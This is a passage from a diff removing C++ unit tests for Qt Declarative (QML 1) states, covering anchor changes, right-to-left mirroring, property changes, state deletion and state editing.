qobject_cast(rect->findChild("BottomGuideline")); - QVERIFY(bottomGuideline != 0); - - QDeclarativeListReference list(rect, "states"); - QDeclarative1State *state = qobject_cast(list.at(0)); - QVERIFY(state != 0); - - qmlExecuteDeferred(state); - QDeclarative1AnchorChanges *aChanges = qobject_cast(state->operationAt(0)); - QVERIFY(aChanges != 0); - - rectPrivate->setState("reanchored"); - QCOMPARE(aChanges->object(), qobject_cast(innerRect)); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->left().item, QDeclarativeItemPrivate::get(leftGuideline)->left().item); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->left().anchorLine, QDeclarativeItemPrivate::get(leftGuideline)->left().anchorLine); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->right().item, rectPrivate->right().item); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->right().anchorLine, rectPrivate->right().anchorLine); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->top().item, rectPrivate->top().item); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->top().anchorLine, rectPrivate->top().anchorLine); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->bottom().item, QDeclarativeItemPrivate::get(bottomGuideline)->bottom().item); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->bottom().anchorLine, QDeclarativeItemPrivate::get(bottomGuideline)->bottom().anchorLine); - - QCOMPARE(innerRect->x(), qreal(10)); - QCOMPARE(innerRect->y(), qreal(0)); - QCOMPARE(innerRect->width(), qreal(190)); - QCOMPARE(innerRect->height(), qreal(150)); - - rectPrivate->setState(""); - QCOMPARE(innerRect->x(), qreal(0)); - QCOMPARE(innerRect->y(), qreal(10)); - QCOMPARE(innerRect->width(), qreal(150)); - QCOMPARE(innerRect->height(), qreal(190)); - - delete rect; -} - -void tst_qdeclarativestates::anchorChanges4() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorChanges4.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - - QDeclarative1Rectangle *innerRect = qobject_cast(rect->findChild("MyRect")); - QVERIFY(innerRect != 0); - - QDeclarativeItem *leftGuideline = qobject_cast(rect->findChild("LeftGuideline")); - QVERIFY(leftGuideline != 0); - - QDeclarativeItem *bottomGuideline = qobject_cast(rect->findChild("BottomGuideline")); - QVERIFY(bottomGuideline != 0); - - QDeclarativeListReference list(rect, "states"); - QDeclarative1State *state = qobject_cast(list.at(0)); - QVERIFY(state != 0); - - qmlExecuteDeferred(state); - QDeclarative1AnchorChanges *aChanges = qobject_cast(state->operationAt(0)); - QVERIFY(aChanges != 0); - - QDeclarativeItemPrivate::get(rect)->setState("reanchored"); - QCOMPARE(aChanges->object(), qobject_cast(innerRect)); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->horizontalCenter().item, QDeclarativeItemPrivate::get(bottomGuideline)->horizontalCenter().item); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->horizontalCenter().anchorLine, QDeclarativeItemPrivate::get(bottomGuideline)->horizontalCenter().anchorLine); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->verticalCenter().item, QDeclarativeItemPrivate::get(leftGuideline)->verticalCenter().item); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->verticalCenter().anchorLine, QDeclarativeItemPrivate::get(leftGuideline)->verticalCenter().anchorLine); - - delete rect; -} - -void tst_qdeclarativestates::anchorChanges5() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorChanges5.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - - QDeclarative1Rectangle *innerRect = qobject_cast(rect->findChild("MyRect")); - QVERIFY(innerRect != 0); - - QDeclarativeItem *leftGuideline = qobject_cast(rect->findChild("LeftGuideline")); - QVERIFY(leftGuideline != 0); - - QDeclarativeItem *bottomGuideline = qobject_cast(rect->findChild("BottomGuideline")); - QVERIFY(bottomGuideline != 0); - - QDeclarativeListReference list(rect, "states"); - QDeclarative1State *state = qobject_cast(list.at(0)); - QVERIFY(state != 0); - - qmlExecuteDeferred(state); - QDeclarative1AnchorChanges *aChanges = qobject_cast(state->operationAt(0)); - QVERIFY(aChanges != 0); - - QDeclarativeItemPrivate::get(rect)->setState("reanchored"); - QCOMPARE(aChanges->object(), qobject_cast(innerRect)); - //QCOMPARE(aChanges->anchors()->horizontalCenter().item, bottomGuideline->horizontalCenter().item); - //QCOMPARE(aChanges->anchors()->horizontalCenter().anchorLine, bottomGuideline->horizontalCenter().anchorLine); - //QCOMPARE(aChanges->anchors()->baseline().item, leftGuideline->baseline().item); - //QCOMPARE(aChanges->anchors()->baseline().anchorLine, leftGuideline->baseline().anchorLine); - - delete rect; -} - -void mirrorAnchors(QDeclarativeItem *item) { - QDeclarativeItemPrivate *itemPrivate = QDeclarativeItemPrivate::get(item); - itemPrivate->setLayoutMirror(true); -} - -qreal offsetRTL(QDeclarativeItem *anchorItem, QDeclarativeItem *item) { - return anchorItem->width()+2*anchorItem->x()-item->width(); -} - -void tst_qdeclarativestates::anchorChangesRTL() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorChanges1.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - - QDeclarative1Rectangle *innerRect = qobject_cast(rect->findChild("MyRect")); - QVERIFY(innerRect != 0); - mirrorAnchors(innerRect); - - QDeclarativeListReference list(rect, "states"); - QDeclarative1State *state = qobject_cast(list.at(0)); - QVERIFY(state != 0); - - qmlExecuteDeferred(state); - QDeclarative1AnchorChanges *aChanges = qobject_cast(state->operationAt(0)); - QVERIFY(aChanges != 0); - - rectPrivate->setState("right"); - QCOMPARE(innerRect->x(), offsetRTL(rect, innerRect) - qreal(150)); - QCOMPARE(aChanges->object(), qobject_cast(innerRect)); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->left().anchorLine, QDeclarative1AnchorLine::Invalid); //### was reset (how do we distinguish from not set at all) - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->right().item, rectPrivate->right().item); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->right().anchorLine, rectPrivate->right().anchorLine); - - rectPrivate->setState(""); - QCOMPARE(innerRect->x(), offsetRTL(rect, innerRect) -qreal(5)); - - delete rect; -} - -void tst_qdeclarativestates::anchorChangesRTL2() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorChanges2.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - - QDeclarative1Rectangle *innerRect = qobject_cast(rect->findChild("MyRect")); - QVERIFY(innerRect != 0); - mirrorAnchors(innerRect); - - rectPrivate->setState("right"); - QCOMPARE(innerRect->x(), offsetRTL(rect, innerRect) - qreal(150)); - - rectPrivate->setState(""); - QCOMPARE(innerRect->x(), offsetRTL(rect, innerRect) - qreal(5)); - - delete rect; -} - -void tst_qdeclarativestates::anchorChangesRTL3() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorChanges3.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - - QDeclarative1Rectangle *innerRect = qobject_cast(rect->findChild("MyRect")); - QVERIFY(innerRect != 0); - mirrorAnchors(innerRect); - - QDeclarativeItem *leftGuideline = qobject_cast(rect->findChild("LeftGuideline")); - QVERIFY(leftGuideline != 0); - - QDeclarativeItem *bottomGuideline = qobject_cast(rect->findChild("BottomGuideline")); - QVERIFY(bottomGuideline != 0); - - QDeclarativeListReference list(rect, "states"); - QDeclarative1State *state = qobject_cast(list.at(0)); - QVERIFY(state != 0); - - qmlExecuteDeferred(state); - QDeclarative1AnchorChanges *aChanges = qobject_cast(state->operationAt(0)); - QVERIFY(aChanges != 0); - - rectPrivate->setState("reanchored"); - QCOMPARE(aChanges->object(), qobject_cast(innerRect)); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->left().item, QDeclarativeItemPrivate::get(leftGuideline)->left().item); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->left().anchorLine, QDeclarativeItemPrivate::get(leftGuideline)->left().anchorLine); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->right().item, rectPrivate->right().item); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->right().anchorLine, rectPrivate->right().anchorLine); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->top().item, rectPrivate->top().item); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->top().anchorLine, rectPrivate->top().anchorLine); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->bottom().item, QDeclarativeItemPrivate::get(bottomGuideline)->bottom().item); - QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->bottom().anchorLine, QDeclarativeItemPrivate::get(bottomGuideline)->bottom().anchorLine); - - QCOMPARE(innerRect->x(), offsetRTL(leftGuideline, innerRect) - qreal(10)); - QCOMPARE(innerRect->y(), qreal(0)); - // between left side of parent and leftGuideline.x: 10, which has width 0 - QCOMPARE(innerRect->width(), qreal(10)); - QCOMPARE(innerRect->height(), qreal(150)); - - rectPrivate->setState(""); - QCOMPARE(innerRect->x(), offsetRTL(rect, innerRect) - qreal(0)); - QCOMPARE(innerRect->y(), qreal(10)); - // between right side of parent and left side of rightGuideline.x: 150, which has width 0 - QCOMPARE(innerRect->width(), qreal(50)); - QCOMPARE(innerRect->height(), qreal(190)); - - delete rect; -} - -//QTBUG-9609 -void tst_qdeclarativestates::anchorChangesCrash() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorChangesCrash.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - - QDeclarativeItemPrivate::get(rect)->setState("reanchored"); - - delete rect; -} - -// QTBUG-12273 -void tst_qdeclarativestates::anchorRewindBug() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorRewindBug.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - - QDeclarativeItem * column = rect->findChild("column"); - - QVERIFY(column != 0); - QVERIFY(!QDeclarativeItemPrivate::get(column)->heightValid); - QVERIFY(!QDeclarativeItemPrivate::get(column)->widthValid); - QCOMPARE(column->height(), 200.0); - QDeclarativeItemPrivate::get(rect)->setState("reanchored"); - - // column height and width should stay implicit - // and column's implicit resizing should still work - QVERIFY(!QDeclarativeItemPrivate::get(column)->heightValid); - QVERIFY(!QDeclarativeItemPrivate::get(column)->widthValid); - QCOMPARE(column->height(), 100.0); - - QDeclarativeItemPrivate::get(rect)->setState(""); - - // column height and width should stay implicit - // and column's implicit resizing should still work - QVERIFY(!QDeclarativeItemPrivate::get(column)->heightValid); - QVERIFY(!QDeclarativeItemPrivate::get(column)->widthValid); - QCOMPARE(column->height(), 200.0); - - delete rect; -} - -// QTBUG-11834 -void tst_qdeclarativestates::anchorRewindBug2() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorRewindBug2.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - - QDeclarative1Rectangle *mover = rect->findChild("mover"); - - QVERIFY(mover != 0); - QCOMPARE(mover->y(), qreal(0.0)); - QCOMPARE(mover->width(), qreal(50.0)); - - QDeclarativeItemPrivate::get(rect)->setState("anchored"); - QCOMPARE(mover->y(), qreal(250.0)); - QCOMPARE(mover->width(), qreal(200.0)); - - QDeclarativeItemPrivate::get(rect)->setState(""); - QCOMPARE(mover->y(), qreal(0.0)); - QCOMPARE(mover->width(), qreal(50.0)); - - delete rect; -} - -void tst_qdeclarativestates::script() -{ - QDeclarativeEngine engine; - - { - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/script.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QCOMPARE(rect->color(),QColor("red")); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - - rectPrivate->setState(""); - QCOMPARE(rect->color(),QColor("blue")); // a script isn't reverted - } -} - -void tst_qdeclarativestates::restoreEntryValues() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/restoreEntryValues.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QCOMPARE(rect->color(),QColor("red")); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - - rectPrivate->setState(""); - QCOMPARE(rect->color(),QColor("blue")); -} - -void tst_qdeclarativestates::explicitChanges() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/explicit.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QDeclarativeListReference list(rect, "states"); - QDeclarative1State *state = qobject_cast(list.at(0)); - QVERIFY(state != 0); - - qmlExecuteDeferred(state); - QDeclarative1PropertyChanges *changes = qobject_cast(rect->findChild("changes")); - QVERIFY(changes != 0); - QVERIFY(changes->isExplicit()); - - QCOMPARE(rect->color(),QColor("red")); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - - rect->setProperty("sourceColor", QColor("green")); - QCOMPARE(rect->color(),QColor("blue")); - - rectPrivate->setState(""); - QCOMPARE(rect->color(),QColor("red")); - rect->setProperty("sourceColor", QColor("yellow")); - QCOMPARE(rect->color(),QColor("red")); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("yellow")); -} - -void tst_qdeclarativestates::propertyErrors() -{ - QDeclarativeEngine engine; - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/propertyErrors.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - - QCOMPARE(rect->color(),QColor("red")); - - QTest::ignoreMessage(QtWarningMsg, fullDataPath("/data/propertyErrors.qml") + ":8:9: QML PropertyChanges: Cannot assign to non-existent property \"colr\""); - QTest::ignoreMessage(QtWarningMsg, fullDataPath("/data/propertyErrors.qml") + ":8:9: QML PropertyChanges: Cannot assign to read-only property \"activeFocus\""); - QDeclarativeItemPrivate::get(rect)->setState("blue"); -} - -void tst_qdeclarativestates::incorrectRestoreBug() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/basicChanges.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QCOMPARE(rect->color(),QColor("red")); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - - rectPrivate->setState(""); - QCOMPARE(rect->color(),QColor("red")); - - // make sure if we change the base state value, we then restore to it correctly - rect->setColor(QColor("green")); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - - rectPrivate->setState(""); - QCOMPARE(rect->color(),QColor("green")); -} - -void tst_qdeclarativestates::autoStateAtStartupRestoreBug() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent component(&engine, SRCDIR "/data/autoStateAtStartupRestoreBug.qml"); - QObject *obj = component.create(); - - QVERIFY(obj != 0); - QCOMPARE(obj->property("test").toInt(), 3); - - obj->setProperty("input", 2); - - QCOMPARE(obj->property("test").toInt(), 9); - - delete obj; -} - -void tst_qdeclarativestates::deletingChange() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/deleting.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - QCOMPARE(rect->radius(),qreal(5)); - - rectPrivate->setState(""); - QCOMPARE(rect->color(),QColor("red")); - QCOMPARE(rect->radius(),qreal(0)); - - QDeclarative1PropertyChanges *pc = rect->findChild("pc1"); - QVERIFY(pc != 0); - delete pc; - - QDeclarative1State *state = rect->findChild(); - QVERIFY(state != 0); - qmlExecuteDeferred(state); - QCOMPARE(state->operationCount(), 1); - - rectPrivate->setState("blue"); - QCOMPARE(rect->color(),QColor("red")); - QCOMPARE(rect->radius(),qreal(5)); - - delete rect; -} - -void tst_qdeclarativestates::deletingState() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/deletingState.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - - QDeclarative1StateGroup *sg = rect->findChild(); - QVERIFY(sg != 0); - QVERIFY(sg->findState("blue") != 0); - - sg->setState("blue"); - QCOMPARE(rect->color(),QColor("blue")); - - sg->setState(""); - QCOMPARE(rect->color(),QColor("red")); - - QDeclarative1State *state = rect->findChild(); - QVERIFY(state != 0); - delete state; - - QVERIFY(sg->findState("blue") == 0); - - //### should we warn that state doesn't exist - sg->setState("blue"); - QCOMPARE(rect->color(),QColor("red")); - - delete rect; -} - -void tst_qdeclarativestates::tempState() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/legalTempState.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QTest::ignoreMessage(QtDebugMsg, "entering placed"); - QTest::ignoreMessage(QtDebugMsg, "entering idle"); - rectPrivate->setState("placed"); - QCOMPARE(rectPrivate->state(), QLatin1String("idle")); -} - -void tst_qdeclarativestates::illegalTempState() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/illegalTempState.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QTest::ignoreMessage(QtWarningMsg, ": QML StateGroup: Can't apply a state change as part of a state definition."); - rectPrivate->setState("placed"); - QCOMPARE(rectPrivate->state(), QLatin1String("placed")); -} - -void tst_qdeclarativestates::nonExistantProperty() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/nonExistantProp.qml"); - QDeclarative1Rectangle *rect = qobject_cast(rectComponent.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QTest::ignoreMessage(QtWarningMsg, fullDataPath("/data/nonExistantProp.qml") + ":9:9: QML PropertyChanges: Cannot assign to non-existent property \"colr\""); - rectPrivate->setState("blue"); - QCOMPARE(rectPrivate->state(), QLatin1String("blue")); -} - -void tst_qdeclarativestates::reset() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, SRCDIR "/data/reset.qml"); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect != 0); - - QDeclarative1Image *image = rect->findChild(); - QVERIFY(image != 0); - QCOMPARE(image->width(), qreal(40.)); - QCOMPARE(image->height(), qreal(20.)); - - QDeclarativeItemPrivate::get(rect)->setState("state1"); - - QCOMPARE(image->width(), 20.0); - QCOMPARE(image->height(), qreal(20.)); -} - -void tst_qdeclarativestates::illegalObjectCreation() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent component(&engine, SRCDIR "/data/illegalObj.qml"); - QList errors = component.errors(); - QVERIFY(errors.count() == 1); - const QDeclarativeError &error = errors.at(0); - QCOMPARE(error.line(), 9); - QCOMPARE(error.column(), 23); - QCOMPARE(error.description().toUtf8().constData(), "PropertyChanges does not support creating state-specific objects."); -} - -void tst_qdeclarativestates::whenOrdering() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, SRCDIR "/data/whenOrdering.qml"); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - - QCOMPARE(rectPrivate->state(), QLatin1String("")); - rect->setProperty("condition2", true); - QCOMPARE(rectPrivate->state(), QLatin1String("state2")); - rect->setProperty("condition1", true); - QCOMPARE(rectPrivate->state(), QLatin1String("state1")); - rect->setProperty("condition2", false); - QCOMPARE(rectPrivate->state(), QLatin1String("state1")); - rect->setProperty("condition2", true); - QCOMPARE(rectPrivate->state(), QLatin1String("state1")); - rect->setProperty("condition1", false); - rect->setProperty("condition2", false); - QCOMPARE(rectPrivate->state(), QLatin1String("")); -} - -void tst_qdeclarativestates::urlResolution() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, SRCDIR "/data/urlResolution.qml"); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect != 0); - - QDeclarativeItem *myType = rect->findChild("MyType"); - QDeclarative1Image *image1 = rect->findChild("image1"); - QDeclarative1Image *image2 = rect->findChild("image2"); - QDeclarative1Image *image3 = rect->findChild("image3"); - QVERIFY(myType != 0 && image1 != 0 && image2 != 0 && image3 != 0); - - QDeclarativeItemPrivate::get(myType)->setState("SetImageState"); - QUrl resolved = QUrl::fromLocalFile(SRCDIR "/data/Implementation/images/qt-logo.png"); - QCOMPARE(image1->source(), resolved); - QCOMPARE(image2->source(), resolved); - QCOMPARE(image3->source(), resolved); -} - -void tst_qdeclarativestates::unnamedWhen() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, SRCDIR "/data/unnamedWhen.qml"); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - - QCOMPARE(rectPrivate->state(), QLatin1String("")); - QCOMPARE(rect->property("stateString").toString(), QLatin1String("")); - rect->setProperty("triggerState", true); - QCOMPARE(rectPrivate->state(), QLatin1String("anonymousState1")); - QCOMPARE(rect->property("stateString").toString(), QLatin1String("inState")); - rect->setProperty("triggerState", false); - QCOMPARE(rectPrivate->state(), QLatin1String("")); - QCOMPARE(rect->property("stateString").toString(), QLatin1String("")); -} - -void tst_qdeclarativestates::returnToBase() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, SRCDIR "/data/returnToBase.qml"); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - - QCOMPARE(rectPrivate->state(), QLatin1String("")); - QCOMPARE(rect->property("stateString").toString(), QLatin1String("")); - rect->setProperty("triggerState", true); - QCOMPARE(rectPrivate->state(), QLatin1String("anonymousState1")); - QCOMPARE(rect->property("stateString").toString(), QLatin1String("inState")); - rect->setProperty("triggerState", false); - QCOMPARE(rectPrivate->state(), QLatin1String("")); - QCOMPARE(rect->property("stateString").toString(), QLatin1String("originalState")); -} - -//QTBUG-12559 -void tst_qdeclarativestates::extendsBug() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, SRCDIR "/data/extendsBug.qml"); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QDeclarative1Rectangle *greenRect = rect->findChild("greenRect"); - - rectPrivate->setState("b"); - QCOMPARE(greenRect->x(), qreal(100)); - QCOMPARE(greenRect->y(), qreal(100)); -} - -void tst_qdeclarativestates::editProperties() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, SRCDIR "/data/editProperties.qml"); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect != 0); - - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - - QDeclarative1StateGroup *stateGroup = rectPrivate->_states(); - QVERIFY(stateGroup != 0); - qmlExecuteDeferred(stateGroup); - - QDeclarative1State *blueState = stateGroup->findState("blue"); - QVERIFY(blueState != 0); - qmlExecuteDeferred(blueState); - - QDeclarative1PropertyChanges *propertyChangesBlue = qobject_cast(blueState->operationAt(0)); - QVERIFY(propertyChangesBlue != 0); - - QDeclarative1State *greenState = stateGroup->findState("green"); - QVERIFY(greenState != 0); - qmlExecuteDeferred(greenState); - - QDeclarative1PropertyChanges *propertyChangesGreen = qobject_cast(greenState->operationAt(0)); - QVERIFY(propertyChangesGreen != 0); - - QDeclarative1Rectangle *childRect = rect->findChild("rect2"); - QVERIFY(childRect != 0); - QCOMPARE(childRect->width(), qreal(402)); - QVERIFY(QDeclarativePropertyPrivate::binding(QDeclarativeProperty(childRect, "width"))); - QCOMPARE(childRect->height(), qreal(200)); - - rectPrivate->setState("blue"); - QCOMPARE(childRect->width(), qreal(50)); - QCOMPARE(childRect->height(), qreal(40)); - QVERIFY(!QDeclarativePropertyPrivate::binding(QDeclarativeProperty(childRect, "width"))); - QVERIFY(blueState->bindingInRevertList(childRect, "width")); - - - rectPrivate->setState("green"); - QCOMPARE(childRect->width(), qreal(200)); - QCOMPARE(childRect->height(), qreal(100)); - QVERIFY(greenState->bindingInRevertList(childRect, "width")); - - - rectPrivate->setState(""); - - - QCOMPARE(propertyChangesBlue->actions().length(), 2); - QVERIFY(propertyChangesBlue->containsValue("width")); - QVERIFY(!propertyChangesBlue->containsProperty("x")); - QCOMPARE(propertyChangesBlue->value("width").toInt(), 50); - QVERIFY(!propertyChangesBlue->value("x").isValid()); - - propertyChangesBlue->changeValue("width", 60); - QCOMPARE(propertyChangesBlue->value("width").toInt(), 60); - QCOMPARE(propertyChangesBlue->actions().length(), 2); - - - propertyChangesBlue->changeExpression("width", "myRectangle.width / 2"); - QVERIFY(!propertyChangesBlue->containsValue("width")); - QVERIFY(propertyChangesBlue->containsExpression("width")); - QCOMPARE(propertyChangesBlue->value("width").toInt(), 0); - QCOMPARE(propertyChangesBlue->actions().length(), 2); - - propertyChangesBlue->changeValue("width", 50); - QVERIFY(propertyChangesBlue->containsValue("width")); - QVERIFY(!propertyChangesBlue->containsExpression("width")); - QCOMPARE(propertyChangesBlue->value("width").toInt(), 50); - QCOMPARE(propertyChangesBlue->actions().length(), 2); - - QVERIFY(QDeclarativePropertyPrivate::binding(QDeclarativeProperty(childRect, "width"))); - rectPrivate->setState("blue"); - QCOMPARE(childRect->width(), qreal(50)); - QCOMPARE(childRect->height(), qreal(40)); - - propertyChangesBlue->changeValue("width", 60); - QCOMPARE(propertyChangesBlue->value("width").toInt(), 60); - QCOMPARE(propertyChangesBlue->actions().length(), 2); - QCOMPARE(childRect->width(), qreal(60)); - QVERIFY(!QDeclarativePropertyPrivate::binding(QDeclarativeProperty(childRect, "width"))); - - propertyChangesBlue->changeExpression("width", "myRectangle.width / 2"); - QVERIFY(!propertyChangesBlue->containsValue("width")); - QVERIFY(propertyChangesBlue->containsExpression("width")); - QCOMPARE(propertyChangesBlue->value("width").toInt(), 0); - QCOMPARE(propertyChangesBlue->actions().length(), 2); - QVERIFY(QDeclarativePropertyPrivate::binding(QDeclarativeProperty(childRect, "width"))); - QCOMPARE(childRect->width(), qreal(200)); - - propertyChangesBlue->changeValue("width", 50); - QCOMPARE(childRect->width(), qreal(50)); - - rectPrivate->setState(""); - QCOMPARE(childRect->width(), qreal(402)); - QVERIFY(QDeclarativePropertyPrivate::binding(QDeclarativeProperty(childRect, "width"))); - - QCOMPARE(propertyChangesGreen->actions().length(), 2); - rectPrivate->setState("green"); - QCOMPARE(childRect->width(), qreal(200)); - QCOMPARE(childRect->height(), qreal(100)); - QVERIFY(QDeclarativePropertyPrivate::binding(QDeclarativeProperty(childRect, "width"))); - QVERIFY(greenState->bindingInRevertList(childRect, "width")); - QCOMPARE(propertyChangesGreen->actions().length(), 2); - - - propertyChangesGreen->removeProperty("height"); - QVERIFY(!QDeclarativePropertyPrivate::binding(QDeclarativeProperty(childRect, "height"))); - QCOMPARE(childRect->height(), qreal(200)); - - QVERIFY(greenState->bindingInRevertList(childRect, "width")); - QVERIFY(greenState->containsPropertyInRevertList(childRect, "width")); - propertyChangesGreen->removeProperty("width"); - QVERIFY(QDeclarativePropertyPrivate::binding(QDeclarativeProperty(childRect, "width"))); - QCOMPARE(childRect->width(), qreal(402)); - QVERIFY(!greenState->bindingInRevertList(childRect, "width")); - QVERIFY(!greenState->containsPropertyInRevertList(childRect, "width")); - - propertyChangesBlue->removeProperty("width"); - QCOMPARE(childRect->width(), qreal(402)); - - rectPrivate->setState("blue"); - QCOMPARE(childRect->width(), qreal(402)); - QCOMPARE(childRect->height(), qreal(40)); -} - -void tst_qdeclarativestates::QTBUG_14830() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, SRCDIR "/data/QTBUG-14830.qml"); - 